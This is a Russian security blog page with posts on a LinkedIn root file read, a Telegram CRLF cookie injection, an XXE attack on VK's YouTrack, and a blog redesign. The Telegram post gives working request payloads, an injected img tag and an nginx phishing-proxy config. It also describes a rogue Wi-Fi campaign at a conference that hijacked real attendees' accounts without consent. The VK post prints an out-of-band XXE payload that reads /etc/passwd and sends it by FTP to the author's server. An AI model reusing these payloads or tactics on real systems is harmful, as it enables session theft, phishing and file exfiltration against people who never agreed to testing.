Уязвимость в Linkedin. Этичный хакер или злоумышленник?

By | Блог | Без комментариев!

Здарова!

Не так давно исследователь нашёл серьёзную уязвимость в instagram, сообщил об этом, но копнул слишком далеко и нарушил условия багбаунти. Если не в курсе, вот тебе ссылка. Подобная история произошла со мной.

Как-то вечером я проводил исследование и нашел уязвимости на паре десятков сайтов, в том числе на одном из доменов linkedin.

Чтение произвольных файлов от привилегированного пользователя (root). Прочитав единственный файл в директории root — было понятно, что это данные для аутентификации к облачному хранилищу Amazon.

Технические подробности в блоге wallarm.

Было отправлено письмо, с надеждой, что несмотря на закрытость bugbounty, будет какая-то награда (ребята говорят, им футболки присылали).

В ответ было отправлено длинное-длинное письмо, о том, что поступил я неэтично. Основной акцент был сделан на то, что я своей выходкой отнял много времени у множества людей, что расследовать инцидент им пришлось более суток, видимо еще общались с амазоном дабы убедиться, что исходники я не сливал. Проверил, что уязвимость есть — нужно было остановиться.

Уязвимости и инциденты

Я считаю, если была найдена критическая уязвимость, нужно расследовать и принять меры по минимизации рисков. Кто-то мог получить доступ к внутренней инфраструктуре (не получал, а теоретически мог) — надо расследовать. Смена паролей, сброс сессионных идентификаторов, прочие меры. То есть всё, что делала бы организация, если бы они обнаружили инцидент, а не багу сдал исследователь.

Хотя бы потому что никто не знает, эксплуатировали ли эту уязвимость до того, как её нашёл исследователь. Может ей уже 5 лет и она хранится где-нибудь на закрытых площадках.

Так что обвинение в том, что я отнимаю время, считаю некорректным.

Этика и этичные хакеры

Множество хакеров — люди воспитанные предрассудками. Основной аргумент — за любую работу нужно платить. Огромное количество людей считают, что если «хакер» ворвался на сайт какой-то компании, компания уже автоматически должна ему бабла (IMHO, это вымогательство).

Без знаний типа уязвимости, способа эксплуатации и устранения, они суют кавычки во все щели и считают, что за эту работу им все должны.

И часто, после нахождения уязвимости, эти «этичные» багхантеры работают на два фронта. Продают слитые исходники или БД, и сдают уязвимость в bugbounty программу. Удобно.

И вот после этого разрешить хакерам лазить по внутрянке и сливать данные?

Тонкие грани

Нет чётких правил как вести себя при обнаружении уязвимостей. Например, если я прочитаю /etc/passwd могу ли я получить техническую информацию, которую можно использовать для дальнейших атак? Конечно. А ведь это первый файл, который будет прочитан. Кто-то скажет /etc/hosts  — а у кого-то это  очень важный файл с технической информацией о внутренней инфраструктуре и администраторах системы.

Как проверить, что у тебя привилегии суперпользователя? Почему-то сразу в голову приходит shadow. С паролями.

А иногда, невозможно оценить даже критичность уязвимости без эксплуатации таковой. Если бы завели /home/flag и /home/superflag — тогда другое дело. Есть что искать и как доказать наличие уязвимости.

Нашёл открытую базу данных (без пароля, например — MongoDB) — отправишь разработчикам, а они — иди в жопу, это пустая база для тестов.
Посмотришь — нарушишь правило программы.

Как отличить исследователя от злоумышленника? Если злоумышленник будет пытаться взломать ресурс, начнёт сливать файлы, а его поймают. Он скажет — а я тут багбаунти занимаюсь. Вот вам письмо написал.
Исследователь, получив чувствительную информацию, становится злоумышленником.

Я перегнул палку, когда зашёл на облачное хранилище. Но логин и пароль уже должен считаться скомпрометированным (обязательная процедура после такой баги). Исходники не сливал. Так кто же я?

Массовый взлом telegram на PHDays

By | Блог | 16 комментария

Привет-привет!

Что такое telegram? Лично для меня, это самый настоящий прорыв среди месседжеров. Он реально удобный, кроссплатформенный, современный и безопасный. Все время развивается и улучшается, просто нет слов, чтобы передать радость от его использования! Каналы, боты, группы — это про него.

Даже если ты по каким-либо причинам не можешь установить (прекрасный) клиент, можешь воспользоваться официальной web-версией прямо в браузере! И сообщения там летают не открытым текстом, что даже при наличии установленных в операционную систему корневых сертификатах спецслужб затруднит перехват сообщений.

Помимо официального клиентов активно используется домен telegram.me. Он служит как ссылка на контакт, инвайт-ссылка для добавления в группу или канал (например мой), через него также можно добавить стикеры. Если пользователь аутентифицирован в веб-клиенте, то там присутствует кука stel_web_auth, которая отвечает, на какой домен перенаправлять пользователя.

Вот примеры запроса к telegram.me с кукой:

Запрос

GET /i_bo0om HTTP/1.1
Host: telegram.me
Cookie: stel_web_auth=localhost

Ответ

HTTP/1.1 302 Found
Server: nginx/1.6.2
Date: Thu, 19 May 2016 22:02:23 GMT
Content-Type: text/html; charset=windows-1251
Content-Length: 0
Connection: keep-alive
Set-Cookie: stel_ssid=823678114; path=/
Pragma: no-cache
Cache-control: no-store
Location: localhost#/im?tgaddr=tg%3A%2F%2Fresolve%3Fdomain%3Di_bo0om
Strict-Transport-Security: max-age=15768000

Стоит заметить, что в куке присутствует возможность вставить \r\n символы, что позволяет подделать заголовки ответов от сервера, или, например, целый HTTP-пакет. А это ведет как минимум к XSS (привет Internet Explorer).

Обычно, в случае CRLF для демонстрации уязвимости ставят заголовок Set-cookie, который устанавливает куку. Но у меня CRLF инъекция уже через куку, поэтому обойдусь :))

Вот пример подделки заголовков:

Запрос

GET /i_bo0om HTTP/1.1
Host: telegram.me
Cookie: stel_web_auth=localhost%0d%0a%20Header1%3a%20ok%0d%0a%20Header2%3a%20ok%0d%0a%20other:%20

Ответ

HTTP/1.1 302 Found
Server: nginx/1.6.2
Date: Thu, 19 May 2016 22:23:31 GMT
Content-Type: text/html; charset=windows-1251
Content-Length: 0
Connection: keep-alive
Set-Cookie: stel_ssid=1297301663; path=/
Pragma: no-cache
Cache-control: no-store
Location: localhost
Header1: ok
Header2: ok
other: #/im?tgaddr=tg%3A%2F%2Fresolve%3Fdomain%3Di_bo0om
Strict-Transport-Security: max-age=15768000

Об этой особенности (и некоторых других) я писал разработчикам еще 2-го марта. Ну это каким тяжелым наркоманом надо быть, чтобы использовать Telegram в Internet Explorer’е (еще и в старом)?
Заметь, что присутствует заголовок Strict-Transport-Security, что не позволяет добраться до заветной печеньки, если пытаешься использовать MiTM-атаку (человек посередине), несмотря на то, что у куки нет флага Secure. Значит куку можно поставить с помощью XSS (нет флага HttpOnly), но я её так сходу не нашёл.

И тут я вспомнил про одну особенность современных веб-приложений. Поддомен (blabla.telegram.me) может поставить cookie на главный домен (telegram.me). Получится, конечно, не open redirect, а хитрое перенаправление на чужой домен, при использовании домена telegram.me

Для этого, мне нужно:

  1. Раздать свою Wi-Fi точку.
  2. Перенаправлять пользователей на несуществующий поддомен, который ставит куку.
  3. Заставить пользователя зайти на мой поддомен. С учетом первого шага — легко.

Когда пользователю кинут ссылку на приглашение, например, в группу — его перенаправит на фейковое приложение. Пробуем? Поехали!

Готовим фейк

Воспользовавшись утилитой urlcrazy я сгенерировал свободные домены подходящие для фейка. Отлично подошёл telergam.org. Телеграм достаточно сложное слово, чтобы можно было не заметить смену двух моноширных согласных посередине.

Взял облачный сервер на месяц и сделал фейк. Ну как сделал фейк. Я воспользовался проксированием с помощью nginx (привет @sergeybelove). Используя модуль proxy_pass можно настроить проксирование всех запросов на другой сайт, таким образом зашедший на мой ресурс видел содержимое другого сайта, целиком и полностью, включая изменения в реальном времени.

Вот полный конфиг «фейка» главного сайта telegram:

server {
listen 80; # слушаем 80 порт
server_name telergam.org; #на какой домен откликаемся
location / {
proxy_pass https://telegram.org; #проксируем сайт телеграма
}

А ещё используя модуль sub_filter можно заменять содержимое строки на произвольную. По образу и подобию было настроено проксирование на web.telegram, с некоторыми поправками — клиент отправлял на мой сервер текущий идентификатор сессии (и прочие данные из localStorage), номер телефона, браузер.

Что еще нужно для хорошей жизни? SSL! Ну продвинутые пользователи сразу заподозрят неладное, а присутствие «зеленого замочка» прибавляет к харизме фейку.

Поэтому регистрируем бесплатный аккаунт на cloudflare и получаем возможность закрыть от чужих глаз ip адрес сервера и заветный замочек 🙂

Теперь попробуй найти 10 отличий:

Но если посмотреть исходник, то там будет лишний js, который и отправляет данные жертвы на подконтрольный сервер

Positive Hack Days

Не так давно, на конференции ZeroNights я уже игрался с MiTM’ом, раздавая «бесплатный Wi-Fi», подрезая SSL и собирая трафик. На этот раз дамп трафика мне был уже неинтересен, поэтому основной целью была раздача волшебных печенек в браузеры пользователей.

Шаг 1. Wi-Fi

У нас было 2 wi-fi pineapple, 4500 потенциальных жертв, 3 альфы, несколько 8 dbi антенн и целое множество Wi-Fi карточек всех сортов и расцветок, а также MITMf, DNSspoof, Mana Toolkit, strip-n-inject и проксирующий сервак с фейковым dns-сервером. Не то что бы это был необходимый запас для поездки. Но если начал собирать оборудование для MITM’а, становится трудно остановиться. Единственное что вызывало у меня опасение — это BeEF. Нет ничего более беспомощного, безответственного и испорченного, чем XSS зомби. Я знал, что рано или поздно мы перейдем и на эту дрянь.

На помощь приходят «ананасы», это специальные устройства для атак с помощью поддельной Wi-Fi точки. На конференции было два этажа, а хотелось покрыть максимальное количество людей. К тому же раздавался официальный Wi-Fi с SSID «PHD», поэтому оставалось только запитать устройство. Отлично подошла розетка и место под столом на первом этаже.

Ананасу помощнее, на втором этаже, повезло больше — ему достался ethernet-кабель, поэтому раздавался быстрый и стабильный интернет. «Альфа» с ноутбуком (эту же пару я использовал на ZeroNights) кочевала со мной. Вдобавок, я хотел приспособить mr3040 с OpenWRT, но из-за количества людей и малой мощности я оставил эту идею.

Ещё из Питера привезли мощный роутер Xiaomi, но из-за нехватки времени на прошивку/настройку он так и остался лежать в коробке. Тем более покрытие было уже достаточным для успешной атаки.

Шаг второй. DNS

Задача — записать куку на telegram.me, поэтому на сервере я создал поддомен i.telegram.me и отвечал на любой запрос установкой куки (без контента). Думаю, отдавать DNS с помощью DHCP смысла не много, но на всякий случай поставил unbound и открыл его миру (чтобы подключались). Сразу после PHDays пришла абуза, кто-то успел засканить dns и DDoS’ил им .gov сайты.

Еще были использованы утилиты DNSMasqSpoof и DNSspoof. Первый вариант почему-то глючно работал, поэтому остался последний.

Шаг третий. Инъекция

На этот раз использовать sslstrip/sslsplit/hsts bypass не нужно. Да и зачем палиться? Чуть что, браузер начнет кричать на невалидность сертификата, а надо, чтоб он пользовался интернетом. При сёрфинге жертва скорее всего перейдет на http ресурс, а я тут как тут. Поэтому вконец документа вставлялся тег

<img src="http://i.telegram.me/" onerror=remove()>

Все просто — отправляется GET-запрос на несуществующий домен, но фейковый DNS отвечает нужным мне IP-адресом, в ответ от фейкового домена приходит заголовок с установкой cookie. Так как тег — изображение, срабатывает событие onerror и тег удаляется.
Ребята из Hardware Village преложили делать инъекцию BeEf’а, чтобы полностью контролировать браузер жертвы, потом выводить на телике кто попался (да-да, как на конференции BlackHat). Не было времени, но в следующий раз надо заняться.

Запрос

GET / HTTP/1.1
Host: i.telegram.me
Accept: */*

Ответ

HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Fri, 20 May 2016 22:12:39 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: stel_web_auth=https%253A%252F%252Fweb.telergam.org%252F; expires=Sat, 20-May-2017 22:12:39 GMT; Max-Age=31536000; domain=.telegram.me

В результате, если пользователь зайдет на любой HTTP сайт используя мой Wi-Fi, его браузер будет «заражённым», и когда он будет переходить по ссылкам telegram.me — его будет перенаправлять на фейковую страницу аутентификации.

Результаты

А вот результаты я ожидал получше…
В первый день активной атаки (когда на конференции находится максимум народа) — никого. Никто не зашел. В середине конференции несколько внимательных зашли на страницы сниффера, полазили по фейкограму. Ближе к ночи был один вход. Ну хоть так…

Ещё один вход был пол второго ночи, его можно так же засчитать за первый день.

На второй день я пошел перепроверять оборудование, все ли работает как надо? Я пробовал сам запускать браузер — всё круто, кука ставится, telegram.me редиректит, лог входа пишется. Пару часов сидел и перепроверял, в чем же может быть проблема. Народ цеплялся. Большинство было с мобильных устройств, но и ноутбуки охотно подключались. На Hardware Village к инъекции был запущен mitmf (с respoder’ом), на всякий случай. Опять два входа и опять ночью.

Следующий день был рабочий. На выходные я решил написать эту статью, мол, ребятки, вот потенциальный способ массового взлома телеграм. Нет ничего хуже несбывшихся надежд. Вечером захотел убить сервак… Но…
Увидел в логах 13 входов в фейкограм в течении всего дня (первый в 12:22, последний в 18:29).
Отлично! Способ работает в долгосрочной перспективе, ведь никто не знает, когда пользователь воспользуется ссылкой! Куку я ставил на год, так что не удивлюсь, что кто-нибудь зайдет когда-нибудь зимой.

20 мая (два дня с конференции) — три входа

21 мая (на момент написания статьи) — ещё три

Выводы

Плюсы:

  • Помните, когда сломали telegram журналистов? Там было очень явное палево — IP адреса взломщика, ведь telegram сообщает, с какого IP происходит вход. В этом случае IP адрес будет совпадать с адресом жертвы. А так как мы контролируем сам клиент, мы имеем доступ к переписке и возможность выполнять любые действия от имени жертвы.
  • Даже если стоит двухфакторная аутентификация — не поможет.
  • Кнопку выхода можем заменить на уничтожении сессионного идентификатора только на стороне жертвы, тем самым наблюдать за перепиской всё время, пока жертва не уничтожит активные сессии в настройках.
  • Способ можно модифицировать и улучшить

Минусы:

  • Пользователь вовсе может не зайти. Из 4500 человек на хакерской конференции пробив был менее 1%.
  • Естественно, доступ к секретным чатам мы не получим.
  • На невнимательных пользователей. Но лично я — не заметил бы.
  • Если пользователь аутентифицируется в официальном веб-клиенте, кука перезапишется.

И всё же, telegram остается одним из самых лучших (и безопасных) месседжеров.

Ребята, чьи аккаунты я захватил: все делалось в рамках исследования, сообщения прочитаны не были, собранные данные будут уничтожены вместе с сервером.

Ещё увидимся 😉

P.S. Ребята из telegram, если вдруг увидите: сделайте плиз «избранное» контактов и чатов, чтоб не терялись. Спасибо!

UPD: со мной связались представители telegram, нашли мартовское письмо с багами (попало в спам). Попросили реквизиты для оплаты bugbounty :)

VK — история одного взлома

By | Блог | Без комментариев!

Привет! Видел запись про XXE с помощью RSS, которая позволяла читать файлы в vk? Так вот, буквально на следующий день появилась более интересная возможность читать произвольные файлы, да не абы-где, а на проектах внутренней инфраструктуры компании. Теперь обо всём по порядку.
Началось все с того, что после брута поддоменов, нашлись интересные экземпляры…

Поддомены TeamCity, Upsource, YouTrack — это одноименные системы непрерывной интеграции, рецензирования кода и баг-трекер от компании JetBrains.

При попытке зайти на youtrack.vk.com — браузер ругался на невалидный сертификат, так как он принадлежит youtrack.vk-cdn.net. CDN так CDN — идем туда.

В целом, с найденными системами я ничего не смог сделать, подбор паролей не давал результатов, найденная XSS в YouTrack была трудноэксплуатируема (для старых IE).

Пришло время изучать API

Для YouTrack нашлась отличная документация для REST API. Тыкая в нее палкой, нашёл только enumeration-баги. Например, перебирая различные варианты обращения к проектам и изучая аномалии ответов от сервера, можно узнать какую-нибудь информацию, например имена проектов. Затем, обращаясь к номерам, можно перебрать количество тикетов.

Например:

https://youtrack.vk-cdn.net/rest/issue/ololo/execute?comment=bo0om — вернет 404
https://youtrack.vk-cdn.net/rest/issue/API-252/execute?comment=bo0om — попросит ввести логин/пароль
https://youtrack.vk-cdn.net/rest/issue/API-1337/execute?comment=bo0om — вернет 404 (такого номера тикета нет)

Но и на этом далеко не уедешь! 🙁

Но вот интересный метод Import Users! С помощью PUT запроса можно передать XML:

PUT /rest/import/users?test=1
...
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<list>
<user login="lenin" fullName="Ulyanov Vladimir Ilyich" email="[email protected]"/>
</list>

В качестве ответа  от сервера будет сообщение, что эта функция работает только для администратора веб-приложения 🙁

Изменив исходный запрос на XXE вектор вида
PUT /rest/import/users?test=1
...
<?xml version="1.0"?>
<!DOCTYPE list [
<!ENTITY % xxe SYSTEM "http://xxe.bo0om.ru/xxe-test">
%xxe;
]>
<list></list>

Ко мне на сервер приходит запрос:

GET /xxe-test HTTP/1.1
HOST: xxe.bo0om.ru
USER_AGENT: Java/1.8.0_45
ACCEPT: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
CONNECTION: keep-alive

Всё становится интереснее 🙂

Вот он - самый сок

То, что используется java — это даёт нам огромное преимущество! Напомню крутую фичу в эксплуатации XXE в JAVA от ONSEC. Суть исследования в том, что используя протокол FTP можно передавать содержимое файлов, даже если в ответе от сервера информация не передаётся. Ещё один плюс, это особенность java — обращение к директории даёт её листинг.

Создал я файл, java.dtd:
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://xxe.bo0om.ru/%b;'>">%c;

Сел слушать 21 порт (FTP), отправляю атакующий HTTP-пакет:
PUT /rest/import/users?test=1
...
<?xml version="1.0"?>
<!DOCTYPE list [
<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % asd SYSTEM "http://xxe.bo0om.ru/java.dtd">
%xxe;
]>
<list></list>

Ииии… Ничего не происходит. Попробовал ещё разок — ничего.
Несколько раз перепроверил вектор — вроде все отлично. Сменил порт на 80 и 443 — пусто. Может FTP каким-то образом отключено и не поддерживается?

Поставил dnschef. На самом деле это DNS сервер для выполнения MITM атак, но я его заюзал как мониторинг DNS запросов. Проверил — резолв доменного имени происходит. Значит отправка данных блокируется фаерволом (чуваки из vk знают магию iptables).

Начал перебирать порты. Долго-ли, коротко-ли брутились порты, и тут на сервер перелетает пакет…

 

Победа

Опытным путем выяснилось, что наружу пускает порт 1935, а это уже фактически — победа. Конечный dtd выглядил так:

<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://xxe.bo0om.ru/%b;'>">%c;

К сожалению, java была запущена не от суперпользователя (плак-плак), что очень часто бывает. Тем временем, я переместил java.dtd на домен defconrussia.ru и записал следующее видео:

Когда JetBrains узнали о уязвимости в их продукте, быстро зафиксили и сообщили где именно и какого типа уязвимость.

¯ \ _ (ツ) _ / ¯

А меня упомянуть забыли. Ну да ладно. Надеюсь, прочие 15k+ клиентов не пострадали.

Прикольно, что попав в YouTrack я бы узнал обо всех багах и уязвимостях, которые есть вконтакте и в их проектах. Достав логины и пароли — получил бы доступ к другим проектам. Получил бы доступ к upsource — получил бы доступ к исходным кодам (инфа сотка)! Так я бы стал богатым и знаменитым, осталось бы только захватить мир — и жить станет неинтересно. Поэтому я так не делал, а сообщил о найденной уязвимости и даже получил за это деньги!

Какие делаем выводы?

Всё, что предназначено для внутренней инфраструктуры — оставляем внутри, в противном случае закрываем доступ из сети Интернет
Читаем документацию
Имеем силу воли, чтоб не посмотреть одним глазком чужие исходники

Обновление блога

By | Заметки | Один комментарий

Привет!

У меня появилось новое изображение (логотип, аватарка)

Поменял дизайн блога на более современный

Запилил фид в telegram, что весьма актуальненько.

Из минусов: удалил плагин для ссылок, поэтому все url изменились, что приводит любого зашедшего по ссылкам на 404 страницу. Печаль. Беда.

 

Рестайлинг я уже запланировал давно. Очень долго искал новое изображение. Были различные варианты от различных дизайнеров, примеры этого года:

А вот, например, попытка обыграть гранату и мозг.

Почему-то меня это не удовлетворяло. В итоге пересилил лень и нарисовал простой и понятный, одноцветный логотип. Который, кстати говоря, можно развивать, добавляя в него новые элементы:

Так что не пугайся, если заметишь сильные изменения 🙂
Нууу и 404 ошибки…